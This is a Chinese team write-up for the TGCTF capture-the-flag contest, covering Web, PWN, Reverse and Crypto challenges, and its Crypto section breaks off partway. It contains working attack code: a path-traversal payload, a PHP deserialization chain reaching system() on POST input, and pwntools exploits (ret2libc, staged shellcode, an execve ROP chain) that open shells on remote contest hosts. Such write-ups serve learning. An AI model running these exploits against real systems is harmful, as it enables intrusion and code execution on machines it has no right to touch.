TGCTF部分WP

这次是和徐师傅,顾师傅,梁师傅一起打的,各方向都写在一起了,距离五十名只差一步之遥,还是我技术不够精湛的原因

Web

这次TGCTF Web方面给了我很大的挫败感,感觉对很多知识的了解都非常浅薄,一直做不出题,还是要下苦功夫精进技术

火眼辩魑魅

这道题很简单的签到题,dirsearch 扫一下得到几个文件路径,真正能打通的是 shell.php ,直接蚁剑连接,在根目录下找到 flag


AAA偷渡阴平

无参RCE

可以看看这篇

无参数RCE绕过的详细总结(六种方法)

直面天命

这道题很好玩

一开始看出来是 SSTI ,但是拼尽全力无法注入。

F12看网页源码,提示不止一个路由,进 /hint 看看

提示有四个字母的路由,写个脚本爆破一下:

python
# 路由爆破脚本
import sys
import requests
import argparse
from concurrent.futures import ThreadPoolExecutor, as_completed
from itertools import product


def generate_four_letter_paths():
    """生成所有四个小写字母的组合(如 aaaa, aaab, ..., zzzz)"""
    letters = 'abcdefghijklmnopqrstuvwxyz'
    for chars in product(letters, repeat=4):
        yield ''.join(chars)


def check_url(base_url, path, results):
    full_url = f"{base_url}/{path}"
    try:
        response = requests.get(
            full_url,
            timeout=3,
            headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0'},
            allow_redirects=False  # 避免重定向干扰状态码判断
        )
        if response.status_code == 200:
            results.append(full_url)
            print(f"[+] {full_url} - {response.status_code}")
    except requests.exceptions.RequestException as e:
        pass  # 忽略超时、连接错误等异常


def main():
    parser = argparse.ArgumentParser(description='四字母路径爆破工具')
    parser.add_argument('target', help='目标URL(如 http://example.com)')
    parser.add_argument('-t', '--threads', type=int, default=50,
                        help='线程数(默认50)')
    parser.add_argument('-o', '--output', help='输出结果文件')

    args = parser.parse_args()

    base_url = args.target.rstrip('/')
    results = []

    # 生成所有四个小写字母的组合
    paths = generate_four_letter_paths()

    with ThreadPoolExecutor(max_workers=args.threads) as executor:
        futures = []
        for path in paths:
            futures.append(executor.submit(check_url, base_url, path, results))

        # 实时更新进度(可选)
        total = 26 ** 4  # 总共有26^4=456,976种组合
        completed = 0
        for _ in as_completed(futures):
            completed += 1
            if completed % 1000 == 0:
                print(f"进度:{completed}/{total}", end='\r')

    print("\n爆破完成!找到以下有效路径:")
    for url in results:
        print(url)

    if args.output:
        with open(args.output, 'w') as f:
            for url in results:
                f.write(f"{url}\n")
        print(f"结果已保存到 {args.output}")


if __name__ == '__main__':
    print("警告:请确保您已获得目标网站的合法授权!")
    main()

爆破出 /aazz 路由,进去 F12 看看,说是可以传参看源码(又要爆吗 QAQ ),后面问出题人说可以传 filename ,

然后GET传 filename=../app.py 看看源码(提示看源码)

源码:

python
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key  # 潜在风险:secret_key可能暴露在源码中

app = Flask(__name__)

# 安全风险:黑名单不完整,可能被绕过
black_list = ['{', '}', 'popen', 'os', 'import', 'eval', '_', 'system', 'read', 'base', 'globals']

def waf(name):
    """基础WAF过滤"""
    for x in black_list:
        if x in name.lower():
            return True
    return False

def is_typable(char):
    """检查字符是否可打印"""
    typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
    return char in typable_chars

@app.route('/')
def home():
    """首页路由"""
    return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
    """核心处理路由(存在严重漏洞)"""
    template1 = ""
    template2 = ""
    name = request.form.get('name')
    template = f'{name}'

    # WAF过滤
    if waf(name):
        template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹\nImage'
    else:
        # 检查字符是否可打印
        k = 0
        for i in name:
            if not is_typable(i):
                k = 1
                break
        if k == 1:
            # 检查是否包含secret_key前缀(逻辑缺陷)
            if not (secret_key[:2] in name and secret_key[2:]):
                return render_template_string('连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧\n\n再去西行历练历练\nImage')
            # 模板注入漏洞:替换为{{}}语法
            template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”\n最后,如果你用了cat,就可以见到齐天大圣了\n"
            template = template.replace("直面", "{{").replace("天命", "}}")
        
        # 检查cat关键词
        if "cat" in template:
            template2 = '\n或许你这只叫天命人的猴子,真的能做到?\nImage'

    # 渲染模板(存在注入风险)
    try:
        return template1 + render_template_string(template) + render_template_string(template2)
    except Exception as e:
        return f"500报错了,查询语句如下:\n{template}", 400

@app.route('/hint', methods=['GET'])
def hinter():
    """提示路由"""
    return render_template_string("hint:\n有一个由4个小写英文字母组成的路由,去那里看看吧,天命人!")

@app.route('/aazz', methods=['GET'])
def finder():
    """文件读取路由(存在路径遍历漏洞)"""
    filename = request.args.get('filename', '')
    
    # 初始处理
    if not filename:
        return send_from_directory('static', 'file.html')
    
    # 文件名检查(逻辑错误:原代码存在语法问题)
    if not filename.replace('_', '').isalnum():
        return jsonify({'error': '只允许字母和数字!'}), 400

    # 路径遍历漏洞:直接使用用户输入的filename
    if os.path.isfile(filename):
        try:
            with open(filename, 'r') as file:
                content = file.read()
            return content
        except Exception as e:
            return jsonify({'error': str(e)}), 500
    else:
        return jsonify({'error': '路径不存在或者路径非法'}), 404

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

这道题本来是考SSTI的,但怎么都绕不过防火墙,但有非预期解

我们知道 /aazz 目录下可以传参读取文件的

我们直接读flag:

Payload: http://node1.tgctf.woooo.tech:30904/aazz?filename=flag

读到flag


直面天命(复仇)

这道题我没做出来,把源码放在这方便后面复现

复仇直接ban了传参读文件功能,直接回显源码:

python
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
    for x in black_list:
        if x in name.lower():
            return True
    return False
def is_typable(char):
    # 定义可通过标准 QWERTY 键盘输入的字符集
    typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
    return char in typable_chars

@app.route('/')
def home():
    return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
    template1=""
    template2=""
    name = request.form.get('name')
    template = f'{name}'
    if waf(name):
        template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹
Image'
    else:
        k=0
        for i in name:
            if is_typable(i):
                continue
            k=1
            break
        if k==1:
            if not (secret_key[:2] in name and secret_key[2:]):
                template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧

再去西行历练历练

Image'
                return render_template_string(template)
            template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”
最后,如果你用了cat,就可以见到齐天大圣了
"
            template= template.replace("天命","{{").replace("难违","}}")
            template = template
    if "cat" in template:
        template2 = '
或许你这只叫天命人的猴子,真的能做到?

Image'
    try:
        return template1+render_template_string(template)+render_template_string(template2)
    except Exception as e:
        error_message = f"500报错了,查询语句如下:
{template}"
        return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
    template="hint:
有一个aazz路由,去那里看看吧,天命人!"
    return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
    with open(__file__, 'r') as f:
        source_code = f.read()
    return f"

{source_code}

", 200, {'Content-Type': 'text/html; charset=utf-8'}

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

很难绕的 SSTI 一直在爆500错误


什么文件上传?

打开以为是文件上传,但是传什么文件都不行,F12看一眼,提示“机器人是什么”

到robots协议里看一眼:

User-Agent: *
Disallow: /admin/
Disallow: /private/
Disallow: /baidu
Disallow: /s?
Disallow: /unlink
Disallow: /phar
Disallow: !@*($^&*!@^&!*(@$# <--!文件上传后缀是三个小写字母 !@#$*&^(!%@#$#^&!-->
Disallow: /class.php

进 class.php

发现是PHP反序列化:

php
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    function best64_decode($str)
    {
        return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
    }
    class yesterday {
        public $learn;
        public $study="study";
        public $try;
        public function __construct()
        {
            $this->learn = "learn<br>";
        }
        public function __destruct()
        {
            echo "You studied hard yesterday.<br>";
            return $this->study->hard();
        }
    }
    class today {
        public $doing;
        public $did;
        public $done;
        public function __construct(){
            $this->did = "What you did makes you outstanding.<br>";
        }
        public function __call($arg1, $arg2)
        {
            $this->done = "And what you've done has given you a choice.<br>";
            echo $this->done;
            if(md5(md5($this->doing))==666){
                return $this->doing();
            }
            else{
                return $this->doing->better;
            }
        }
    }
    class tommoraw {
        public $good;
        public $bad;
        public $soso;
        public function __invoke(){
            $this->good="You'll be good tommoraw!<br>";
            echo $this->good;
        }
        public function __get($arg1){
            $this->bad="You'll be bad tommoraw!<br>";
        }

    }
    class future{
        private $impossible="How can you get here?<br>";
        private $out;
        private $no;
        public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

        public function __set($arg1, $arg2) {
            if ($this->out->useful7) {
                echo "Seven is my lucky number<br>";
                system('whoami');
            }
        }
        public function __toString(){
            echo "This is your future.<br>";
            system($_POST["wow"]);
            return "win";
        }
        public function __destruct(){
            $this->no = "no";
            return $this->no;
        }
    }
    if (file_exists($_GET['filename'])){
        echo "Focus on the previous step!<br>";
    }
    else{
        $data=substr($_GET['filename'],0,-4);
        unserialize(best64_decode($data));
    }
    // You learn yesterday, you choose today, can you get to your future?
?> 

要解决这道题,需要构造一个反序列化链,触发future类的__toString方法以执行任意命令。

步骤解析

  • 1.触发析构函数:

      当yesterday对象被销毁时,其__destruct方法会调用$this->study->hard()。
    
      将yesterday的study属性设为today对象,触发today的__call方法。
    
  • 2.调用魔术方法:

      today的__call方法在调用不存在的方法(如hard)时触发。
    
      此时会检查$this->doing的两次MD5哈希是否等于666。
    
  • 3.绕过条件检查:

      即使条件不满足,只要$this->doing是future对象,在计算MD5时会将其转换为字符串,触发__toString方法。
    
      future的__toString执行system($_POST['wow']),直接执行任意命令。
    

Payload 生成代码:

php
<?php
class yesterday { public $study; }
class today { public $doing; }
class future {}

$future = new future();
$today = new today();
$today->doing = $future;

$yesterday = new yesterday();
$yesterday->study = $today;

$payload = serialize($yesterday);
for ($i = 0; $i < 5; $i++) {
    $payload = base64_encode($payload);
}
echo $payload . '.txt'; // 触发反序列化
?>

GET方式传Payload,POST方式传递命令wow=cat /flag

得到flag


PWN

  • 签到

保护只开了NX,ret2libc

c
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[112]; // [rsp+0h] [rbp-70h] BYREF

  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
  puts(
    "As a student who has been learning pwn for half a year\n"
    "basic ROP is an essential skill that everyone should master. \n"
    "Therefore, hurry up and complete the check-in. \n"
    "Welcome to the Hangzhou Normal University CTF competition, please leave your name.");
  gets(v4);
  return 0;
}

先泄露puts地址得到基址再调用system

python
from pwn import*
#p=process("./pwn")
p=remote("node1.tgctf.woooo.tech",30372)
elf=ELF("./pwn")
libc=ELF("./libc.so.6")

puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
pop_rdi_ret=0x401176
ret=0x40101a
main=0x401178

p.recvuntil(b"name.")
pl1=b'a'*0x78+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)       #0x70
p.sendline(pl1)

puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))  #0x7fe6ca5e2e50

libcbase=puts_addr-libc.symbols["puts"]

print(hex(libcbase))  #0x7fe6ca562000
system=libcbase+libc.symbols["system"]
binsh=libcbase+next(libc.search(b"/bin/sh"))

pl2=b'a'*0x78+p64(ret)+p64(pop_rdi_ret)+p64(binsh)+p64(system)
#pl2=b'a'*0x78+p64(pop_rdi_ret)+p64(binsh)+p64(system)

p.sendline(pl2)
p.interactive()
  • shellcode

pl1:

(调用mprotect修改权限,再调用) mov dl,7 mov sil,0xff mov al,0xa syscall (调用read,将要向缓冲区读取shellcode) xor edi,edi xor edx,esi xchg rsi,rcx syscall

pl2:

nop*0x10

add rsi,0x20f mov rsp,rsi

shellcode

python
from pwn import *
#p=process('./pwn')
context(log_level='debug',arch='amd64',os='linux')

p=remote("node2.tgctf.woooo.tech",32130)
#shellcode="\x99\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x48\x89\xE7\xB0\x3B\x0F\x05"
#shellcode="\x48\x87\xFC\xBF\x73\x68\x00\x00\x57\x54\x5F\xB0\x3B\x0F\x05"


pl1="\xB2\x07\x40\xB6\xFF\xB0\x0A\x0F\x05\x31\xFF\x31\xF2\x48\x87\xCE\x0F\x05"
p.send(pl1)

pause()

pl2=b"\x90"*0x10+b"\x48\x81\xC6\x0F\x02\x00\x00\x48\x89\xF4"+asm(shellcraft.sh())
p.send(pl2)
p.interactive()
  • overflow

题目在ret之前通过lea esp, [ebp-8] pop ecx lea esp, [ecx-4]调整了栈帧,因此我们通过溢出将rsp控制到bss段,在bss段写入rop

python
from pwn import *
context(log_level='debug',os='linux')
p=process("./pwn")
#p=remote("node1.tgctf.woooo.tech",31248)
eax_add=0x80b470a
ebx_add=0x08049022
ecx_add=0x08049802
edx_add=0x08060bd1
int80=0x08049c6a
name=0x080EF320

gdb.attach(p)
pause()
p.recvuntil(b"me?")

p.send(b"/bin/sh\x00"+b'a'*8+p32(ebx_add)+p32(name)+p32(ecx_add)+p32(0)+p32(edx_add)+p32(0)+p32(eax_add)+p32(0xb)+p32(int80))

p.recvuntil("right?")

pl=b'a'*200+p32(0x080EF334)
p.sendline(pl)
p.interactive()

Reverse

deepseek用得好,逆向工程难不倒(bushi)


Base64

题目提示是base64算法,进IDA看看伪C

c
nt __fastcall main(int argc, const char **argv, const char **envp)
{
  char *v3; // rbx
  __int64 v4; // rcx
  void *v5; // rbx
  char Destination[16]; // [rsp+20h] [rbp-28h] BYREF

  sub_140001020("Welcome to HZNUCTF!!!\n");
  sub_140001020("Plz input your flag:\n");
  v3 = (char *)malloc('*');
  sub_140001080("%s");
  v4 = -1i64;
  do
    ++v4;
  while ( v3[v4] );
  if ( v4 == 41 )
  {
    strncpy_s(Destination, 9ui64, v3, 8ui64);
    Destination[8] = 0;
    if ( !strcmp(Destination, "HZNUCTF{") )
    {
      v5 = (void *)sub_1400010E0(v3);
      if ( !strcmp((const char *)v5, "AwLdOEVEhIWtajB2CbCWCbTRVsFFC8hirfiXC9gWH9HQayCJVbB8CIF=") )
      {
        sub_140001020("Congratulation!!!");
        free(v5);
        exit(1);
      }
      sub_140001020("wrong_wrong!!!");
      free(v5);
      exit(1);
    }
    sub_140001020("wrong head!!!");
    free(v3);
    exit(1);
  }
  sub_140001020("wrong len!!!");
  free(v3);
  return 0;
}

进sub_1400010E0看看

c
_BYTE *__fastcall sub_1400010E0(__int64 a1)
{
  __int64 v2; // rbx
  __int64 v3; // rbp
  int v4; // edx
  int v5; // edi
  int v6; // edx
  __int64 v7; // r14
  size_t v8; // rcx
  _BYTE *v9; // r8
  __int64 v10; // r9
  unsigned __int64 v11; // rdx
  int v12; // ecx
  unsigned int v13; // ecx
  unsigned int v14; // eax
  int v15; // eax
  int v16; // eax
  int v17; // eax
  int v18; // edi
  __int64 v19; // rdx
  int v20; // eax
  int v21; // eax
  int v22; // ecx
  unsigned int v23; // edx
  int v24; // ecx
  int v25; // eax
  int v26; // ecx
  unsigned int v27; // ecx
  unsigned int v28; // eax
  char v30[80]; // [rsp+20h] [rbp-68h] BYREF
  int v31; // [rsp+90h] [rbp+8h]

  v2 = -1i64;
  strcpy(v30, "GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI");
  do
    ++v2;
  while ( *(_BYTE *)(a1 + v2) );
  v3 = 0i64;
  v4 = (int)v2 / 3;
  if ( (_DWORD)v2 == 3 * ((int)v2 / 3) )
  {
    v5 = 0;
    v6 = 4 * v4;
  }
  else if ( (int)v2 % 3 == 1 )
  {
    v5 = 1;
    v6 = 4 * v4 + 4;
  }
  else if ( (int)v2 % 3 == 2 )
  {
    v5 = 2;
    v6 = 4 * v4 + 4;
  }
  else
  {
    v5 = v31;
    v6 = v31;
  }
  v7 = v6;
  v8 = v6 + 1i64;
  if ( v6 == -1i64 )
    v8 = -1i64;
  v9 = malloc(v8);
  if ( (int)v2 - v5 > 0 )
  {
    v10 = a1 + 2;
    v11 = ((int)v2 - v5 - 1i64) / 3ui64 + 1;
    do
    {
      v3 += 4i64;
      v12 = *(unsigned __int8 *)(v10 - 2) >> 2;
      v10 += 3i64;
      v13 = v12 + 24;
      v14 = v13 - 64;
      if ( v13 <= 0x40 )
        v14 = v13;
      v9[v3 - 4] = v30[v14];
      v15 = ((*(unsigned __int8 *)(v10 - 4) >> 4) | (16 * (*(_BYTE *)(v10 - 5) & 3))) - 40;
      if ( ((*(unsigned __int8 *)(v10 - 4) >> 4) | (16 * (*(_BYTE *)(v10 - 5) & 3u))) + 24 <= 0x40 )
        v15 = ((*(unsigned __int8 *)(v10 - 4) >> 4) | (16 * (*(_BYTE *)(v10 - 5) & 3))) + 24;
      v9[v3 - 3] = v30[v15];
      v16 = ((*(unsigned __int8 *)(v10 - 3) >> 6) | (4 * (*(_BYTE *)(v10 - 4) & 0xF))) - 40;
      if ( ((*(unsigned __int8 *)(v10 - 3) >> 6) | (4 * (*(_BYTE *)(v10 - 4) & 0xFu))) + 24 <= 0x40 )
        v16 = ((*(unsigned __int8 *)(v10 - 3) >> 6) | (4 * (*(_BYTE *)(v10 - 4) & 0xF))) + 24;
      v9[v3 - 2] = v30[v16];
      v17 = (*(_BYTE *)(v10 - 3) & 0x3F) - 40;
      if ( (*(_BYTE *)(v10 - 3) & 0x3Fu) + 24 <= 0x40 )
        v17 = (*(_BYTE *)(v10 - 3) & 0x3F) + 24;
      v9[v3 - 1] = v30[v17];
      --v11;
    }
    while ( v11 );
  }
  v18 = v5 - 1;
  if ( !v18 )
  {
    v25 = (*(unsigned __int8 *)((int)v2 + a1 - 1) >> 2) - 40;
    if ( (*(unsigned __int8 *)((int)v2 + a1 - 1) >> 2) + 24 <= 0x40u )
      v25 = (*(unsigned __int8 *)((int)v2 + a1 - 1) >> 2) + 24;
    v9[v7 - 4] = v30[v25];
    v26 = *(_BYTE *)((int)v2 + a1 - 1) & 3;
    *(_WORD *)&v9[v7 - 2] = 15677;
    v27 = 16 * v26 + 24;
    v28 = v27 - 64;
    if ( v27 <= 0x40 )
      v28 = v27;
    v9[v7 - 3] = v30[v28];
    goto LABEL_37;
  }
  if ( v18 != 1 )
  {
LABEL_37:
    v9[v7] = 0;
    return v9;
  }
  v19 = a1 + (int)v2;
  v20 = (*(unsigned __int8 *)(v19 - 2) >> 2) - 40;
  if ( (*(unsigned __int8 *)(v19 - 2) >> 2) + 24 <= 0x40u )
    v20 = (*(unsigned __int8 *)(v19 - 2) >> 2) + 24;
  v9[v7 - 4] = v30[v20];
  v21 = ((*(unsigned __int8 *)(v19 - 1) >> 4) | (16 * (*(_BYTE *)(v19 - 2) & 3))) - 40;
  if ( ((*(unsigned __int8 *)(v19 - 1) >> 4) | (16 * (*(_BYTE *)(v19 - 2) & 3u))) + 24 <= 0x40 )
    v21 = ((*(unsigned __int8 *)(v19 - 1) >> 4) | (16 * (*(_BYTE *)(v19 - 2) & 3))) + 24;
  v9[v7 - 3] = v30[v21];
  v22 = *(_BYTE *)(v19 - 1) & 0xF;
  *(_WORD *)&v9[v7 - 1] = 61;
  v23 = 4 * v22 + 24;
  v24 = 4 * v22 - 40;
  if ( v23 <= 0x40 )
    v24 = v23;
  v9[v7 - 2] = v30[v24];
  return v9;
}

我们看到魔改的base64编码表 GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI

通过读源码我们得知,程序将输入的flag使用自定义的base64编码表进行加密,得到字符串 AwLdOEVEhIWtajB2CbCWCbTRVsFFC8hirfiXC9gWH9HQayCJVbB8CIF=

我们逆向逻辑编写脚本得到flag

python
import base64


def custom_b64decode(encoded_str):
    # 自定义编码表
    table = "GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI"
    # 创建解码字典:字符 -> (原始值 -24) mod 64
    decode_table = {c: (i - 24) % 64 for i, c in enumerate(table)}

    # 处理填充并分割成4字符一组
    pad = 0
    if encoded_str.endswith('=='):
        pad = 2
        encoded_str = encoded_str[:-2] + 'AA'  # 替换填充为可处理的字符
    elif encoded_str.endswith('='):
        pad = 1
        encoded_str = encoded_str[:-1] + 'A'  # 替换填充

    # 转换为二进制值列表
    decoded_values = []
    for c in encoded_str:
        decoded_values.append(decode_table.get(c, 0))  # 未知字符视为0

    # 将4个6位值转换为3个字节
    result = bytearray()
    for i in range(0, len(decoded_values), 4):
        chunk = decoded_values[i:i + 4]
        if len(chunk) < 4:
            chunk += [0] * (4 - len(chunk))

        # 合并成24位整数
        val = (chunk[0] << 18) | (chunk[1] << 12) | (chunk[2] << 6) | chunk[3]
        # 拆分为3字节
        bytes_group = [
            (val >> 16) & 0xFF,
            (val >> 8) & 0xFF,
            val & 0xFF
        ]

        # 处理填充截断
        if i == len(decoded_values) - 4:
            if pad == 1:
                bytes_group = bytes_group[:2]
            elif pad == 2:
                bytes_group = bytes_group[:1]

        result.extend(bytes_group)

    return bytes(result)


# 目标加密后的Base64字符串
encoded = "AwLdOEVEhIWtajB2CbCWCbTRVsFFC8hirfiXC9gWH9HQayCJVbB8CIF="

flag = custom_b64decode(encoded)
print(flag)

得到flag


水果忍者

很熟悉的水果忍者小游戏,许多年之后,面对Unity逆向坐牢,我将会回想起,我在卧室偷偷用家长手机玩游戏的那个遥远的晚上(bushi)。

用 dnSpy打开,定位到 Assembly_CSharp -> GameManager

c#
using System;
using System.Collections;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using UnityEngine;
using UnityEngine.UI;

// Token: 0x02000005 RID: 5
[DefaultExecutionOrder(-1)]
public class GameManager : MonoBehaviour
{
	// Token: 0x17000003 RID: 3
	// (get) Token: 0x06000013 RID: 19 RVA: 0x00002351 File Offset: 0x00000551
	// (set) Token: 0x06000014 RID: 20 RVA: 0x00002358 File Offset: 0x00000558
	public static GameManager Instance { get; private set; }

	// Token: 0x17000004 RID: 4
	// (get) Token: 0x06000015 RID: 21 RVA: 0x00002360 File Offset: 0x00000560
	// (set) Token: 0x06000016 RID: 22 RVA: 0x00002368 File Offset: 0x00000568
	public int score { get; private set; }

	// Token: 0x06000017 RID: 23 RVA: 0x00002371 File Offset: 0x00000571
	private void Awake()
	{
		if (GameManager.Instance != null)
		{
			Object.DestroyImmediate(base.gameObject);
			return;
		}
		GameManager.Instance = this;
	}

	// Token: 0x06000018 RID: 24 RVA: 0x00002392 File Offset: 0x00000592
	private void OnDestroy()
	{
		if (GameManager.Instance == this)
		{
			GameManager.Instance = null;
		}
	}

	// Token: 0x06000019 RID: 25 RVA: 0x000023A7 File Offset: 0x000005A7
	private void Start()
	{
		this.NewGame();
	}

	// Token: 0x0600001A RID: 26 RVA: 0x000023B0 File Offset: 0x000005B0
	private void NewGame()
	{
		Time.timeScale = 1f;
		this.ClearScene();
		this.blade.enabled = true;
		this.spawner.enabled = true;
		this.score = 0;
		this.scoreText.text = this.score.ToString();
		if (this.decryptedTextDisplay != null)
		{
			this.decryptedTextDisplay.text = "";
		}
	}

	// Token: 0x0600001B RID: 27 RVA: 0x00002424 File Offset: 0x00000624
	private void ClearScene()
	{
		Fruit[] array = Object.FindObjectsOfType<Fruit>();
		for (int i = 0; i < array.Length; i++)
		{
			Object.Destroy(array[i].gameObject);
		}
		Bomb[] array2 = Object.FindObjectsOfType<Bomb>();
		for (int i = 0; i < array2.Length; i++)
		{
			Object.Destroy(array2[i].gameObject);
		}
	}

	// Token: 0x0600001C RID: 28 RVA: 0x00002474 File Offset: 0x00000674
	public void IncreaseScore(int points)
	{
		this.score += points;
		this.scoreText.text = this.score.ToString();
		if (this.score >= 999999999)
		{
			byte[] cipherText = this.ConvertHexStringToByteArray(GameManager.encryptedHexData);
			string text = this.Decrypt(cipherText, GameManager.encryptionKey, GameManager.iv);
			if (this.decryptedTextDisplay != null)
			{
				this.decryptedTextDisplay.text = text;
			}
		}
		else if (this.decryptedTextDisplay != null)
		{
			this.decryptedTextDisplay.text = "";
		}
		float num = PlayerPrefs.GetFloat("hiscore", 0f);
		if ((float)this.score > num)
		{
			num = (float)this.score;
			PlayerPrefs.SetFloat("hiscore", num);
		}
	}

	// Token: 0x0600001D RID: 29 RVA: 0x0000253C File Offset: 0x0000073C
	private byte[] ConvertHexStringToByteArray(string hex)
	{
		int length = hex.Length;
		byte[] array = new byte[length / 2];
		for (int i = 0; i < length; i += 2)
		{
			array[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);
		}
		return array;
	}

	// Token: 0x0600001E RID: 30 RVA: 0x0000257C File Offset: 0x0000077C
	private string Decrypt(byte[] cipherText, string key, string iv)
	{
		string result;
		using (Aes aes = Aes.Create())
		{
			aes.Key = Encoding.UTF8.GetBytes(key);
			aes.IV = Encoding.UTF8.GetBytes(iv);
			aes.Mode = CipherMode.CBC;
			aes.Padding = PaddingMode.PKCS7;
			ICryptoTransform transform = aes.CreateDecryptor(aes.Key, aes.IV);
			using (MemoryStream memoryStream = new MemoryStream(cipherText))
			{
				using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read))
				{
					using (StreamReader streamReader = new StreamReader(cryptoStream))
					{
						result = streamReader.ReadToEnd();
					}
				}
			}
		}
		return result;
	}

	// Token: 0x0600001F RID: 31 RVA: 0x00002658 File Offset: 0x00000858
	public void Explode()
	{
		this.blade.enabled = false;
		this.spawner.enabled = false;
		base.StartCoroutine(this.ExplodeSequence());
	}

	// Token: 0x06000020 RID: 32 RVA: 0x0000267F File Offset: 0x0000087F
	private IEnumerator ExplodeSequence()
	{
		float elapsed = 0f;
		float duration = 0.5f;
		while (elapsed < duration)
		{
			float num = Mathf.Clamp01(elapsed / duration);
			this.fadeImage.color = Color.Lerp(Color.clear, Color.white, num);
			Time.timeScale = 1f - num;
			elapsed += Time.unscaledDeltaTime;
			yield return null;
		}
		yield return new WaitForSecondsRealtime(1f);
		this.NewGame();
		elapsed = 0f;
		while (elapsed < duration)
		{
			float t = Mathf.Clamp01(elapsed / duration);
			this.fadeImage.color = Color.Lerp(Color.white, Color.clear, t);
			elapsed += Time.unscaledDeltaTime;
			yield return null;
		}
		yield break;
	}

	// Token: 0x0400000F RID: 15
	[SerializeField]
	private Blade blade;

	// Token: 0x04000010 RID: 16
	[SerializeField]
	private Spawner spawner;

	// Token: 0x04000011 RID: 17
	[SerializeField]
	private Text scoreText;

	// Token: 0x04000012 RID: 18
	[SerializeField]
	private Image fadeImage;

	// Token: 0x04000013 RID: 19
	[Header("Decrypted Text Display")]
	[SerializeField]
	private Text decryptedTextDisplay;

	// Token: 0x04000015 RID: 21
	private static readonly string encryptionKey = "HZNUHZNUHZNUHZNU";

	// Token: 0x04000016 RID: 22
	private static readonly string iv = "0202005503081501";

	// Token: 0x04000017 RID: 23
	private static readonly string encryptedHexData = "cecadff28e93aa5d6f65128ae33e734d3f47b4b8a050d326c534a732d51b96e2a6a80dca0d5a704a216c2e0c3cc6aaaf";
}

看到是AES算法

encryptedHexData是硬编码的十六进制字符串,加密密钥和IV分别是”HZNUHZNUHZNUHZNU”和”0202005503081501”。

Decrypt方法使用了AES的CBC模式,填充方式是PKCS7。因此,解密时需要正确的密钥和IV,并且密文是经过十六进制编码的,需要先转换回字节数组。

加密数据:十六进制字符串cecadff28e93aa5d6f65128ae33e734d3f47b4b8a050d326c534a732d51b96e2a6a80dca0d5a704a216c2e0c3cc6aaaf。

编写脚本,使用密钥和IV对加密数据进行AES-CBC解密,并处理PKCS7填充。

python
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# 加密数据(十六进制字符串)
encrypted_hex = "cecadff28e93aa5d6f65128ae33e734d3f47b4b8a050d326c534a732d51b96e2a6a80dca0d5a704a216c2e0c3cc6aaaf"
ciphertext = bytes.fromhex(encrypted_hex)

# 密钥和IV(UTF-8编码)
key = b'HZNUHZNUHZNUHZNU'  # 16字节
iv = b'0202005503081501'   # 16字节

# 创建AES解密器
cipher = AES.new(key, AES.MODE_CBC, iv=iv)

# 解密并去除填充
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)

# 输出解密结果
print("解密后的明文:", plaintext.decode('utf-8'))

Crypto

AAAAAAAA·真·签到

题目:

给你flag签个到好了

UGBRC{RI0G!O04_5C3_OVUI_DV_MNTB}

诶,我的flag怎么了????

好像字母对不上了

我的签到怎么办呀,急急急

听说福来阁好像是TGCTF开头的喔

比较错误前缀UGBRC与正确前缀TGCTF,发现每个字母的移位量依次为-1, 0, +1, +2, +3,即第i个字符(从0开始)移位量为i-1。

原字符串:

0:U,1:G,2:B,3:R,4:C,5:{,6:R,7:I,8:0,9:G,10:!,11:O,12:0,13:4,14:_,15:5,16:C,17:3,18:_,19:O,20:V,21:U,22:I,23:_,24:D,25:V,26:_,27:M,28:N,29:T,30:B,31:}

对于每个字母字符,移位量是其位置i减1。例如:

i=0:U →移位-1 →T

i=1:G →0 →G

i=2:B →+1 →C

i=3:R →+2 →T

i=4:C →+3 →F

i=6:R →i=6 →移位5 →R+5=W

i=7:I →移位6 →I+6=O

